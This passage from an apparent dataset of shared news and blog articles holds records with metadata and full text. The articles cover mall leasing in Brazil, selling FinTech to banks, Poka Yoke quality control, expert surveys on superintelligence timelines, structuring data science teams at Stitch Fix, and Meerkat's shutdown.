parcela de lojistas que enxerga o atual momento do mercado como oportunidade para entrar em shoppings, para começar a alugar uma loja em condições mais favoráveis, com descontos, e isso tem ajudado na manutenção da taxa de ocupação dos empreendimentos. Segundo ele, esse movimento está sendo considerado como uma janela de oportunidade para ajustes de portfólio de lojas dos shoppings, com a saída de comerciantes com desempenho abaixo da média e entrada de novos nomes nos empreendimentos. ""Quando a economia está forte ninguém sai, nem o lojista que ganha mais, nem o que ganha menos... Esse é o momento de manejar lojas que têm desempenho abaixo do esperado pela companhia para colocar aquelas com melhor performance"", concordou Betts. Por trás dessa visão, entre os principais fatores, está a perspectiva relacionada ao aluguel calculado sobre as vendas, além do custo mínimo de locação. Segundo Prado, mesmo que o aluguel mínimo seja mais baixo, ou igual ao da loja anterior, se existe uma expectativa melhor de vendas, o aluguel percentual ficará mais alto. ""O processo de ajuste de mix é sempre feito, mas em um momento como o atual o impacto é muito maior.""",pt
1475419441,CONTENT SHARED,834896074125772354,-48161796606086482,-440734810322943341,Android - Native Mobile App,SP,BR,HTML,http://venturebeat.com/2016/10/02/so-you-want-to-sell-to-banks/,So you want to sell to banks?,"If you ask almost any early-stage B2B FinTech startup selling to banks what their biggest challenge is, the answer you'll likely get is ""sales."" Although interest in FinTech from incumbent institutions has surged over the past few years, getting to initial pilots and contracts with banks is a challenging process for any early FinTech company. Many B2B FinTech companies will experience a 6-12 month sales cycle to get to pilot. After the financial crisis, banks have become more risk-averse, tightening their compliance processes, and startups often must navigate through multiple decision makers and legacy systems. As an investor at Matrix, an early-stage venture capital firm, I spend a lot of time looking at FinTech. I wanted share some best practices from companies both inside and outside our portfolio who have had success in selling to banks, as well as from representatives at regional and national banks who make the purchasing decisions. Find the individual at the right level within the organization who can endorse the product. This individual can help walk a company into places where there may be a back-and-forth conversation (about compliance, for example). At TrueAccord, for example, the full sales team is focused on identifying and reaching the individual who can champion the product. Every Friday, a group of salespeople and executives at the company will do a strategy session on the top accounts, and salespeople will voice the resources they need to move certain accounts forward, from investor introductions to additional collateral. Successful sales teams also maintain a regular cadence with their champions, arming them with new, relevant information and providing details on their progress with other accounts. According to an executive at a national bank, one of the biggest mistakes startups make is not keeping their champion updated on their progress: ""I will sometimes make introductions inside the organization for a company and then never hear from them again. I want to know how the discussions are progressing and how I can help."" 2. Come prepared to educate the client and share your materials FinTech sales often look different from a traditional enterprise software sale. ""You are part consultant, part salesperson,"" says Bill Ervin, the senior VP of business development, at Mirador. ""We look for people with experience in banking or ERP software on our sales team."" Banks will want their vendors to understand their internal and regulatory processes. ""We show our customers that we are not just a technology company but that we know the business processes and the industry,"" says Brian Kneafsey, head of sales at Blend. On topics like blockchain, the conversations with banks can be half academic, half commercial. Furthermore, banks will typically want a substantial amount of detail before moving ahead with a proof of concept (POC). In the initial conversation, coming equipped with collateral that explains the product and contains a detailed appendix can be helpful for a bank representative who will likely be sharing your materials with 6-7 other individuals. Over the course of the sales process, banks will often ask for details about the security of the platform, financials, and compliance. ""You need to have all your ducks in a row. Banks will want to know exactly how you are doing things,"" says Ty Bennion, senior VP of global sales at HyperWallet. ""You need to be able to say here is my backup documentation, and anticipate potential questions about the offering."" 3. Articulate the project plan early A traditional bank will often ask a vendor to talk to a number of departments before proceeding. These conversations may also be spread several months apart. Coming prepared for the initial conversations with a suggested project plan and playbook before POc can significantly expedite the process and increase a client's confidence in the team. ""Try to plan to work as much as possible in parallel paths,"" Joe Gelbard, the Chief Revenue Officer of True Accord, advises. ""When selling to a bank, you may have to speak to operations, vendor risk management, legal, and a number of other divisions, each of which take time. If you can coordinate some of these steps, it can significantly shorten your sales cycle."" It is important to be specific with timelines in a conversation without being pushy. Banks are often significantly more interested once they have seen the startup execute a playbook successfully with another bank. 4. Beware of scope creep Furthermore, it is important to ask questions about decision-makers, processes, and budget early in the conversation. ""You want to ask questions early because it can be hard late in the game,"" says Kneafsey at Blend. ""There can be a lot of nuances inside a bank."" Understanding how products move successfully through the organization and getting the organization's thoughts around the budget (e.g., is it an established budget? Given many banks will plan in advance, what year is the budget for?) can be incredibly helpful for the prioritization and forecasting of your pipeline. As more people from the bank's side become involved in a project, many startups have experienced the problem of scope creep. As an early-stage company with limited resources, it is important to stay as focused on the core product as possible. 5. Align on the goals of the POC and try to limit the use of the bank's resources Often, having representation from legal and compliance as early as possible can help mitigate issues in these areas down the road. Aligning on the base requirements in advance and having the champion involved in the conversations can help prevent scope creep. Banks are unlikely to invest significant time and resources into a POC. The less integration required, the faster the process can typically move. ""We try to place the least amount of burden on the engineering team as possible until there is a firm commitment,"" says Gelbard of TrueAccord. The first POC for an early stage company may not result in revenue. It is more important to find the right partner who is responsive with early feedback and can invest the right time and resources to make the product successful. It is also important to have clear goals from the POC. ""You need to agree on the KPIs before the POC so you can point to delivering them,"" says Bennion of HyperWallet. Furthermore, many successful startups share a clear path with potential customers about getting from POC to live contract. This information can be documented in the contract, and some companies also offer incentives to prompt the bank to go live by a certain date. This strategy has been successful for a number of FinTech companies. Some startups have adopted ""light"" versions of the product that may not have the same credit and compliance requirements. Others will try to get a portion of the bank's business before aiming for a large contract. For example, TrueAccord asks a bank to provide it with a portion of the business it may be giving to other collection agencies to demonstrate the lift their product can provide. Other companies have gotten smaller departments live with their product, which has significantly eased the sales process with other departments within the company. Anoushka Vaswani is an investor at Get more stories like this on Twitter & Facebook Matrix Partners , where she focuses on FinTech and enterprise software. She is involved in the firm's investments in Lever, Inflection, and GOAT and serves as a Board Observer for ACME Technologies and PayRange. If you have any further thoughts or suggestions, please drop me a line at anoushka@matrixpartners.com or find me on Twitter @anoushkavaswani. Thanks to Ty Bennion at HyperWallet, Bill Ervin at Mirador, Joe Gelbard at TrueAccord, and Brian Kneafsey at Blend as well as the banking executives who contributed to this post.",en
1475448972,CONTENT SHARED,4893900714822288649,3217014177234377440,-9116089978622526389,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://endeavor.org.br/poka-yoke/,[Article] Poka Yoke: o que é e como implementar | Endeavor Brasil,"Conheça tudo sobre Poka Yoke, uma técnica de gestão da qualidade baseada em soluções simples, que evitam falhas em processos e reduzem custos ""Poka Yoke""; ou ""pocá-ioquê"", para os íntimos. Esse nome, tão curioso, é de origem japonesa e significa ""à prova de erros"". A partir daí, já dá para se ter uma ideia da natureza dessa ferramenta, que foi criada no Japão e implantada no Sistema Toyota de Produção já faz algum tempo. Pois é, o nome até pode ser engraçado, mas a função do Poka Yoke é muito séria: trata-se de um sistema de inspeção desenvolvido para prevenir riscos de falhas humanas e corrigir eventuais erros em processos industriais, sempre por meio de ações simples. O Poka Yoke surgiu nos anos 1960, quando Shigeo Shingo, hoje considerado um gênio da engenharia, liderava a produção da Toyota. Não havia um dia em que ele não se deparasse com falhas humanas, que resultavam em produtos defeituosos: e, por isso, não havia um dia em que não ficasse irritado. Diante disso, Shingo começou a desenvolver técnicas que, por vingança, chamou de Baka (""idiota"", em japonês) Yoke (""à prova de""), em um processo que dispensa traduções. Aos poucos, porém, as técnicas foram aprimoradas, se provaram profundamente eficazes e ganharam aderência. Para não ofender ninguém, Shingo trocou o Baka por Poke. Hoje, o Poka Yoke é uma técnica absolutamente consagrada de gestão em processos industriais, mas não só: a lógica da ferramenta se ampliou, de modo que ela pode ser aplicada a qualquer situação que envolva riscos de falhas ou defeitos. Como a administração do seu negócio, por exemplo. Algum exemplo de aplicação? O próprio Shigeo Shingo nos deu um exemplo icônico de aplicação do Poka Yoke. Quando um cliente o avisou de que alguns interruptores produzidos pela Toyota estavam vindo sem mola - o que impossibilitava o funcionamento -, o engenheiro conversou seguidas vezes com a equipe. Mas o efeito persistia, e ele acabou desenhando o seguinte processo: todas as peças do interruptor deveriam ser colocadas em um prato, para só então serem montadas. Se, ao final desse processo, sobrasse uma peça no prato, algo teria saído errado. E o que Poka Yoke tem a ver com o meu negócio? Se não tudo, quase tudo. Isto é, se sua empresa lida com produção ou montagem de algum tipo, apesar de você talvez conseguir aplicar o método em diferentes processos. Essa é uma ferramenta de gestão de qualidade das mais eficazes, que já foi validada de várias formas por empresas de todo o mundo. Ou seja, está mais do que provado que ela é capaz de auxiliar a reduzir seus custos com falhas humanas e de processos, ou de problemas com defeitos em produtos. Em outras palavras, o Poka Yoke pode impedir que os erros de agora se transformem em defeitos lá na frente. O pensamento por trás desta ferramenta é o de que, se há uma imperfeição em algum processo, é possível tomar atitudes descomplicadas para resolvê-la antecipadamente . E isto, acredite, pode ser muito melhor do que tentar resolver depois, com o produto ou serviço já concluído. Os custos com desperdícios e retrabalhos seriam muito maiores. Faz sentido. Agora, como posso usar a ferramenta? De acordo com especialistas no assunto, são seis os passos essenciais que o empreendedor deve seguir para aplicar o Poka Yoke em suas atividades: 1) conheça a falha a ser corrigida : é preciso que você compreenda exatamente o defeito de produto, de serviço ou de execução de alguma etapa que deva ser contornado. Para facilitar esta etapa, registre o defeito por meio de fotos, vídeos e/ou transcrição de narrativas. 2) compreenda as causas : entender o que levou à ocorrência dos defeitos e das falhas é fundamental para corrigi-los. De acordo com uma cartilha produzida pelo Movimento Empreenda (disponível aqui ), os defeitos são originados por dez causas principais: 1 - Não executado por falta de processamento 2 - Erro na execução ou no processamento 3 - Erro na disposição/no posicionamento dos elementos 4 - Ausência ou excesso de elementos 5 - Utilização de elemento errado 6 - Execução ou processamento de elemento errado 7 - Falha do equipamento 8 - Erro de ajuste 9 - Falha na preparação do equipamento 10 - Ferramentas ou dispositivos inadequados E as principais falhas humanas são: 1 - Falta de concentração ou esquecimento 2 - Inércia mental, decisão ""sem pensar"", excesso de familiaridade 3 - Análise superficial e/ou rápida; identificação errônea 4 - Falta de experiência, amadorismo 5 - Imprudência ou teimosia 6 - Distração momentânea 7 - Lentidão na ação, demora na decisão 8 - Ausência de padrão, falta de procedimento 9 - Situação inesperada, surpresa 10 - Má fé ou intencional 3) cogite soluções: primeiro, pergunte-se: como a falha pode ser prevenida? Se não conseguir responder, tente descobrir como o defeito pode ser detectado o quanto antes. Ou, ainda, se a falha ou o defeito deve ser detectado de forma direta (sem interferência humana) ou indireta (com interferência humana). 4) verifique a eficácia da solução: para que seja a mais eficaz possível, a solução Poka Yoke deve eliminar a falha ou o defeito de forma simples, sem grandes impactos na sua gestão de custos . Deve fazer parte do processo, sendo executada no local em que a falha ocorre, e deve evitar que esta falha seja passada para a próxima etapa. 5) implante a solução : faça isso em toda a empresa. 6) registre-a: ao final do processo, colete o máximo de informações que conseguir a respeito dos ocorridos, comparando os resultados obtidos. Isto será extremamente útil para o desenvolvimento de outras soluções Poka Yoke no futuro. Legal! Onde posso encontrar mais informações sobre a ferramenta? Há informações bem completas naquele link que passamos acima, no portal do Movimento Empreenda. E neste link do site NovoNegócio, você encontra mais detalhes sobre as origens e as aplicações do Poka Yoke . Embora mais direcionado à indústria, nunca se sabe: vai que você tira daí uma nova ideia para evitar falhas e reduzir custos?",pt
1475458495,CONTENT SHARED,-637050915727878966,3829784524040647339,2304420764155707869,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.technologyreview.com/s/602410/are-the-experts-worried-about-the-existential-risk-of-artificial-intelligence/,Most experts say AI isn't as much of a threat as you might think,"If you believe everything you read, you are probably quite worried about the prospect of a superintelligent, killer AI. The Guardian , a British newspaper, warned recently that ""we're like children playing with a bomb,"" and a recent Newsweek headline reads, ""Artificial Intelligence Is Coming, and It Could Wipe Us Out."" Numerous such headlines, fueled by comments from the likes of Elon Musk and Stephen Hawking, are strongly influenced by the work of one man: professor Nick Bostrom, author of the philosophical treatise Superintelligence: Paths, Dangers, and Strategies . Bostrom is an Oxford philosopher, but quantitative assessment of risks is the province of actuarial science. He may be dubbed the world's first prominent ""actuarial philosopher,"" though the term seems an oxymoron given that philosophy is an arena for conceptual arguments, and risk assessment is a data-driven statistical exercise. So what do the data say? Bostrom aggregates the results of four different surveys of groups such as participants in a conference called ""Philosophy and Theory of AI,"" held in 2011 in Thessaloniki, Greece, and members of the Greek Association for Artificial Intelligence (he does not provide response rates or the phrasing of questions, and he does not account for the reliance on data collected in Greece). His findings are presented as probabilities that human-level AI will be attained by a certain time: By 2022: 10 percent. By 2040: 50 percent. By 2075: 90 percent. This aggregate of four surveys is the main source of data on the advent of human-level intelligence in over 300 pages of philosophical arguments, fables, and metaphors. To get a more accurate assessment of the opinion of leading researchers in the field, I turned to the Fellows of the American Association for Artificial Intelligence, a group of researchers who are recognized as having made significant, sustained contributions to the field. In early March 2016, AAAI sent out an anonymous survey on my behalf, posing the following question to 193 fellows: ""In his book, Nick Bostrom has defined Superintelligence as 'an intellect that is much smarter than the best human brains in practically every field, including scientific creativity, general wisdom and social skills.' When do you think we will achieve Superintelligence?"" Over the next week or so, 80 fellows responded (a 41 percent response rate), and their responses are summarized below: In essence, according to 92.5 percent of the respondents, superintelligence is beyond the foreseeable horizon. This interpretation is also supported by written comments shared by the fellows. Even though the survey was anonymous, 44 fellows chose to identify themselves, including Geoff Hinton (deep-learning luminary), Ed Feigenbaum (Stanford, Turing Award winner), Rodney Brooks (leading roboticist), and Peter Norvig (Google). The respondents also shared several comments, including the following: ""Way, way, way more than 25 years. Centuries most likely. But not never."" ""We're competing with millions of years' evolution of the human brain. We can write single-purpose programs that can compete with humans, and sometimes excel, but the world is not neatly compartmentalized into single-problem questions."" ""Nick Bostrom is a professional scare monger. His Institute's role is to find existential threats to humanity. He sees them everywhere. I am tempted to refer to him as the 'Donald Trump' of AI."" Surveys do, of course, have limited scientific value. They are notoriously sensitive to question phrasing, selection of respondents, etc. However, it is the one source of data that Bostrom himself turned to. Another methodology would be to extrapolate from the current state of AI to the future. However, this is difficult because we do not have a quantitative measurement of the current state of human-level intelligence. We have achieved superintelligence in board games like chess and Go (see "" Google's AI Masters Go a Decade Earlier than Expected ""), and yet our programs failed to score above 60 percent on eighth grade science tests, as the Allen Institute's research has shown (see "" The Best AI Program Still Flunks an Eighth Grade Science Test ""), or above 48 percent in disambiguating simple sentences (see "" Tougher Turing Test Exposes Chatbots' Stupidity ""). There are many valid concerns about AI, from its impact on jobs to its uses in autonomous weapons systems and even to the potential risk of superintelligence. However, predictions that superintelligence is on the foreseeable horizon are not supported by the available data. Moreover, doom-and-gloom predictions often fail to consider the potential benefits of AI in preventing medical errors, reducing car accidents, and more. Finally, it's possible that AI systems could collaborate with people to create a symbiotic superintelligence. That would be very different from the pernicious and autonomous kind envisioned by Professor Bostrom. Oren Etzioni is CEO of the Allen Institute for Artificial Intelligence and Professor of Computer Science at the University of Washington.",en
1475459676,CONTENT SHARED,5111115201913219115,3829784524040647339,2304420764155707869,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://multithreaded.stitchfix.com/blog/2016/03/16/engineers-shouldnt-write-etl/,Engineers Shouldn't Write ETL: A Guide to Building a High Functioning Data Science Department,"""What is the relationship like between your team and the data scientists?"" This is, without a doubt, the question I'm most frequently asked when conducting interviews for data platform engineers. It's a fine question - one that, given the state of engineering jobs in the data space, is essential to ask as part of doing due diligence in evaluating new opportunities. I'm always happy to answer. But I wish I didn't have to, because this a question that is motivated by skepticism and fear. Why is that? If you read the recruiting propaganda of data science and algorithm development departments in the valley, you might be convinced that the relationship between data scientists and engineers is highly collaborative, organic, and creative. Just like peas and carrots. However, it's not a well kept secret that this is seldom the case. Most shops foster a relationship between engineers and scientists that lies somewhere in the spectrum between non-existent and highly dysfunctional. A Typical Data Science Department Most companies structure their data science departments into 3 groups: Data scientists : the folks who are ""better engineers than statisticians and better statisticians than engineers"". Aka, ""the thinkers"". Data engineers : these are the folks who build pipelines that feed data scientists with data and take the ideas from the data scientists and implement them. Aka, ""the doers"". Infrastructure engineers : these are the folks who maintain the Hadoop cluster / big data infrastructure. Aka, ""the plumbers"". Data scientists are often frustrated that engineers are slow to put their ideas into production and that work cycles, road maps, and motivations are not aligned. By the time version 1 of their ideas are put into an A/B test, they already have versions 2 and 3 queued up. Their frustration is completely justified. Data engineers are often frustrated that data scientists produce inefficient and poorly written code, have little consideration for the maintenance cost of productionizing ideas, demand unrealistic features that skew implementation effort for little gain... The list goes on, but you get the point. Infrastructure engineers get frustrated with everyone for overloading the clusters and filling up disk space. They are kept at arm's length from the scientists and engineers, which means they never gain a solid context into how the infrastructure is being used, or the business and technical problems that it needs to be used to solve. This makes them feel powerless to improve the situation. Instead, they react by making the infrastructure more restrictive. In turn, everyone becomes frustrated with them. It's a vicious cycle. What Went Wrong? We all know that the standard is substandard, and that the recruiting hype is just that. So, why don't we fix it? Why does every data science and algorithms development team seem to slide into the same dysfunctional model? I blame two things, offered here in the form of a couple observations: You Probably Don't Have Big Data Data processing tools and technologies have evolved massively over the last five years. Unless you need to process over many petabytes of data, or you're ingesting hundreds of billions of events a day, most technologies have evolved to a point where they can trivially scale to your needs . Unless you need to push the boundaries of what these technologies are capable of, you probably don't need a highly specialized team of dedicated engineers to build solutions on top of them. If you manage to hire them, they will be bored. If they are bored, they will leave you for Google, Facebook, LinkedIn, Twitter, ... - places where their expertise is actually needed. If they are not bored, chances are they are pretty mediocre. Mediocre engineers really excel at building enormously over complicated, awful-to-work-with messes they call ""solutions"". Messes tend to necessitate specialization. Everybody Wants to be the ""Thinker"" Because it sounds like such a cool role! You get to sit around all day, think up better ways to do things, and then hand off your ideas to people who eagerly rush to put them into production. Go ahead, pitch it to somebody on the street. I bet they jump at the opportunity! Data scientists, especially those who are newer to the industry and don't know any better, are especially vocal about desiring such a role. That's because we have trained them to desire it. We have bigger, more established companies to thank for that. Companies that had business intelligence departments before the Big Data craze... A traditional business intelligence department consists of three roles: ETL engineers, report developers, and DBAs. ETL engineers move the data into the data warehouse. They are obsessed with Kimball and his guide to dimensional modeling. Report Developers, on the other hand, are folks who have made a career around designing reports in a specific tool (e.g. Microstrategy, et al). They are specialists. DBAs (and a team of other tool administrators) do their best to just keep things running. Here's the thing. ETL engineers, Report Developers, and DBAs are all ""Doers"". So, 10 years ago or so, when Big Data and data science started to become buzzwords, there were well-established BI departments who had plenty of Doers and not enough Thinkers. So, they made ""Thinker"" a role. We integrated data scientists with established BI departments by promising them the ability to fiddle around with data and change the course of the business. In reality, this didn't happen. These data scientists occasionally manage to create some pretty cool and effective solutions, but by and large they focus on performing slightly higher level Report Developer-ing back to the business (which largely ignores their advice). But the role sounds really nice, and it's easy to recruit for . Thus was born the traditional, modern day data science department: data scientists (Report developers aka ""thinkers""), data engineers (ETL engineers aka ""doers""), and infrastructure engineers (DBAs aka ""plumbers""). Whoops. It would seem that the business intelligence department never really changed, we just added a Hadoop cluster and started calling it by a new name. Is it Really that Bad? In truth, it depends what you're looking to achieve. If you buy in to the argument above, then you have to accept that it has allowed companies to get by for many, many years... since the advent of BI. But I believe it's a terribly inefficient model if you want your data science team to truly do more than build PowerPoint decks and dashboards. The fundamental flaw that prevents the Thinker and Doer model from living up to its recruiting hype is the assumption that there exists an army of soulless non-mediocre Doer engineers who eagerly implement the ideas and vision of data scientists. Does that sound like the profile of any talented engineers that you know? In this model the Doers are solely accountable for implementation, failure, and support of other people's ideas, while the Thinker is rewarded for their success. This is at the heart of the contention and misalignment between the teams. It creates an IT group rather than an engineering team. In order to attract talented engineers into a role like that, you need some really big scaling problems to serve as a distraction to the soulless, subservient role you have hired them into. You need the type of problems created by the existence of Big Data. And, I'm sorry, but you don't have Big Data. Instead, you will hire mediocre engineers. They will create tremendously over complicated messes. This will exacerbate the contention. Welcome to the Vicious Cycle . The end result is a team of data scientists who are empowered to be little more than report developers because they lack the support of a solid, innovative data platform. And if your recruiting hype had pitched them on the Report Developer role, they would have run the other way. After all, they're Thinkers, not Doers! A Different Kind of Data Science Department Rather than try to emulate the structure of well-known companies (who made the transition from BI to DS), we need to innovate and evolve the model! No more trying to design faster horses... A couple years ago, I moved to Stitch Fix for just that very reason. At Stitch Fix, we strive to be Best in the World at the algorithms and analytics we produce. We strive to lead the business with our output rather than to inform it. Unless you're willing to boldly challenge and rethink the things you know to be substandard, that is a damn hard proposition to fulfill. After seeing the department grow and develop over the last two years, I am confident to share what we are up to. Given that the goal is to lead rather than to inform, I would like to propose to you what I believe is A Better Way to structure a data science department. A way that allows for autonomy in roles, true ownership all the way into production, and accountability for output. A way that is well suited for a company with a quickly evolving business (and data) model. What follows is a blueprint for building a data science team that can pivot and react quickly, so as to lead and innovate through the production of thought-leadership, APIs, and code, rather than react to changes and throw together some PowerPoint presentations in a desperate attempt to redirect gut feelings and intuitions. Enable Everyone to be Best in the World Let's forget the traditional roles, and instead think about the intrinsic motivations that get folks excited to come to work in the morning. Regardless of role, a fundamental differentiator between adequate and great people lies in their desire and talent for being creative. Great people are able to identify and creatively solve problems that would absolutely baffle the mediocre. They excel in and crave for an environment of autonomy, ownership, and focus. The assembly line handoff from scientist to engineer creates the polar opposite environment. (Truth is, even the Thinker resents having to rely on the Doer). The trick is to create an environment that allows for autonomy, ownership, and focus for everyone involved. However, it is important to recognize that engineers and data scientists are impassioned by very different tasks: Data Scientists : Data scientists love working on problems that are vertically aligned with the business and make a big impact on the success of projects/organization through their efforts. They set out to optimize a certain thing or process or create something from scratch. These are point-oriented problems and their solutions tend to be as well. They usually involve a heavy mix of business logic, reimagining of how things are done, and a healthy dose of creativity. Thus, they require a deep understanding of how specific portions of the business operate and a high degree of partnership with business verticals. Engineers excel in a world of abstraction, generalization, and finding efficient solutions in the places where they are needed. These problems are usually horizontally oriented in nature. They can be most impactful when applied broadly. They require a good overall understanding of how the business operates, but the abstracted nature of solutions mean they are light on business logic and do not require a heavy partnership with or deep understanding of verticals within the business. Hybrid Thinker-Doers A common fear of engineers in the data space is that, regardless of the job description or recruiting hype you produce, you are secretly searching for an ETL engineer. In case you did not realize it, Nobody enjoys writing and maintaining data pipelines or ETL . It's the industry's ultimate hot potato. It really shouldn't come as a surprise then that ETL engineering roles are the archetypal breeding ground of mediocrity. Engineers should not write ETL. For the love of everything sacred and holy in the profession, this should not be a dedicated or specialized role. There is nothing more soul sucking than writing, maintaining, modifying, and supporting ETL to produce data that you yourself never get to use or consume. Instead, give people end-to-end ownership of the work they produce (autonomy). In the case of data scientists, that means ownership of the ETL. It also means ownership of the analysis of the data and the outcome of the data science. The best-case outcome of many efforts of data scientists is an artifact meant for a machine consumer, not a human one. Rather than a report, dashboard, or PowerPoint presentation, it is some sort of algorithm or API that is integrated into the engineering stack - something that fundamentally changes the operation of the business. Autonomy means the data scientists own that code as well. All the way into production. They should be able to develop and deploy it without asking the permission of engineers, be accountable for support, be held to performance, latency, and SLA requirements, etc. This puts vertical responsibility and focus squarely into the hands of data scientists. But, data scientists are not typically classically trained or highly skilled software engineers. You could say they are adequate, at best. So you would expect that they would create a Big Mess. This is one reason why ETL and API / production algorithm development is typically handed off to an engineer in assembly line style. But, all of those tasks are inherently vertically (point) focused. Talented engineers in the data space are almost always best focused on horizontal applications. So, then, what is the role of an engineer in this new, horizontal world? To sum it up, engineers must deploy platforms, services, abstractions, and frameworks that allow the data scientists to conceive of, develop, and deploy their ideas with autonomy (such as a tool, framework, or service used to build, schedule, and execute ETL). I like to think of it in terms of Lego blocks. Engineers design new Lego blocks that data scientists assemble in creative ways to create new data science. This is definitely easier said than done, but: Engineer's work can be completely horizontal in nature. This allows them to focus on building technology that is broadly applicable across multiple data science problems. This maximizes leverage of engineering output. Which is great, since you probably have far more data scientists than you do engineers in your data science department. Engineers get to focus on what they do best: abstracting, generalizing, and creating efficient, scalable solutions where they are needed. Engineers get to operate with autonomy. The production from an engineering team deployed in this manner should look like ""magic"". Things should just ""fall into place"" for the data scientists because their needs are anticipated and the scaling and resiliency is taken care of the platform, services, and frameworks they are using. In order for this to work well, most of the time the engineers need to anticipate the needs of the data scientists. They should be developing multiple steps ahead. For highly talented and creative engineers and data scientists, it's a hell of a lot more fun. So, the Scientists Do All The Work? No, not at all. If anything, engineers have a much more challenging and demanding role than they do in the standard model. The data scientists probably do as well. We are not optimizing the organization for efficiency, we are optimizing for autonomy. What is offered is clear ownership of ideas and accountability for their delivery. These are roles that are very attractive to folks who embrace an entrepreneurial mindset. It allows for quick movement, eliminates the need for building unnecessary consensus, and opens the door to disruptive innovation. But it does come at the cost of specialization, and thus efficiency. The expectation, however, is not that data scientists are going to suddenly become talented engineers. Nor is it that the engineers will be ignorant of all business logic and vertical initiatives. In fact, partnership is inherent to the success of this model. Engineers should see themselves as being ""Tony Stark's tailor"", building the armor that prevents data scientists from falling into pitfalls that yield unscalable or unreliable solutions. In the absence of abstractions and frameworks for rolling out solutions, engineers partner with scientists to create solutions. But, not in the form of a hand off. Rather, the engineering challenge becomes one of building self-service components such that the data scientists can iterate autonomously on the business logic and algorithms that deliver their ideas to the business. After the initial roll out of a solution, it is clear who owns what. The engineers own the infrastructure that they build, and the data scientists own the business logic and algorithm implementations that they provide. No form of tight coupling is required to iterate. A Challenging Road At this point, you may be skeptical that it's possible to pull something like this off. However, I think the payoff is well worth the risk. Here are a couple of things to watch out for that can hamper or revert progress: People are averse to change. People tend to want to recreate environments that they are used to working in. This creates pressure to revert to the Thinker-Doer model. New hires need to get on board with the new structure quickly. Vigilance is especially warranted when a project encounters problems - e.g. an API breaks or an algorithm serves bad results. People behave in a very reactive way in those circumstances. They will insist that engineers should take over. But, they are addressing a symptom rather than the problem. Engineers should instead build in better platform support, visibility, abstractions, and resilience. And, they should realize that engineers break things too... no one is immune from making a mistake and breaking production. It is absolutely essential for platform engineers to stay ahead of the data science teams. You need very sharp platform engineers who can make intuitive decisions about what services, frameworks, and capabilities need to be in place before they are desperately needed. The lack of hand off from scientist to engineer means that the engineers do not get the luxury of reacting to requirements delivered by the scientists. Remember, the engineers are creating lego blocks, and the data science teams are assembling them. If the data science teams don't have to right blocks to assemble, they will forge ahead nonetheless to create a solution. They'll solve their problem either by assembling the wrong blocks (square peg in a round hole), or by creating their own. Usually, they will create a Big Mess. One that is hard to undo once it has been created. Don't Fear Inefficiency A consequence of empowering data scientists to take on such a breadth of the stack is that they will be unlikely to produce code and solutions that are as technically efficient as an engineer's. We are sacrificing technical efficiency for velocity and autonomy. It is important to recognize this as a deliberate trade off. There is, however, a set of less obvious efficiencies that are gained with end-to-end ownership. The data scientists are experts in the domain of the implementations they are producing. Thus, they are well equipped to make trade offs between technical and support costs vs. requirements. For example, they can decide to sample data in certain places, use approximate methods where they make sense, and make decisions to nix or punt features that may produce only very marginal business impacts but come with extremely high development or support costs. These things seldom happen (and when they do, usually require numerous negotiations) in the assembly line model of hand off between scientists and engineers. In aggregate, it is hoped that the benefits of autonomy and the innovation that can be produced as a result will outweigh the technical inefficiencies of the lack of technical specialization in allowing data scientists to own their full stack. The Future I'll make no claim that we have discovered the best way to structure a data science department, or that this is the best structure for your organization. But, it is definitely not an attempt to build a faster horse and I feel strongly it is a better solution for Stitch Fix. It's my sincere hope that in sharing what we have done that it will encourage others with a non-traditionally structured department to do the same, inspire leaders of data science departments that are in a formative stage to think outside the box and find the courage to challenge tradition, and inform engineers and data scientists who are frustrated by traditional roles that there are different types of environments available to operate in. 1 Ask an engineer interviewing you where the data scientists sit (or vice versa). If they don't know, don't walk... Run. ←",en
1475504330,CONTENT SHARED,-7838000919054582150,-1130272294246983140,4393555317645464794,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,VIDEO,https://www.facebook.com/FestivalHerculeFlorence/videos/1110205259033742/?__mref=message_bubble,Festival de Fotografia Hercule Florence - Timeline | Facebook,"Você sabia que Campinas será tomada pela fotografia? Do dia 16 ao dia 20 de novembro, ocorre mais uma edição do Festival de Fotografia Hercule Florence: quatro dias repletos de mostras, workshops, festas, debates e trocas de experiências! Mas para tornar o evento completo precisamos da sua ajuda em nossa campanha de financiamento coletivo pelo Catarse.",pt
1475508701,CONTENT SHARED,-7571123172959828025,-1032019229384696495,-1785173338455091677,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.41 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/09/30/meerkat-star-of-2015-is-officially-dead/,"Meerkat, star app of 2015, is officially dead","Remember Meerkat ? It came out of nowhere in early 2015 - a star of SXSW, in particular - and was on everyone's tongue for weeks. Then came Periscope, a strikingly similar competitor built mostly in stealth mode, and word that Twitter had acquired it for nearly $100 million dollars before much of the world even knew it existed. Suddenly, interest in Meerkat fizzled. A year and a half later, Meerkat is dead, officially, as the company behind it shifts its efforts into a new project. Ben Rubin, co-founder of Life On Air (the company behind Meerkat), announced this afternoon that Meerkat has been pulled from the App Store: We just removed Meerkat from the AppStore �� bitter sweet moment seeing it go while celebrating @houseparty - Ben Rubin (@benrbn) September 30, 2016 The company itself, however, carries on: they're now focusing on Houseparty, a group video chat application they've been building in secrecy for months. Houseparty lets you quickly jump into ""parties"" of up to 8 people simultaneously, creating drop-in-drop-out style video chats between any friends who are online at the same time. According to an article published this week by The Verge, Houseparty is already approaching its millionth user. Meerkat's own Twitter account has been shuttered and pushed into private mode, and its website now forwards to Houseparty's website, instead . Update: I spoke with Life on Air co-founder Ben Rubin, who noted (via email) that the pivot has been a long time coming, and explained some of the company's thinking: We may have just pulled Meerkat from the app store, but it was actually six months after we launched that we made the decision to change direction. The category of broadcast (one-to-many) wasn't breaking as a daily habit...it's too far away from the everyday user. The mission of our company has always been to connect people in the most human way possible while physically apart. Not only do we believe that Houseparty is a better manifestation of that vision, but also the market has shown us that too...spreading the app simply by word of mouth.",en
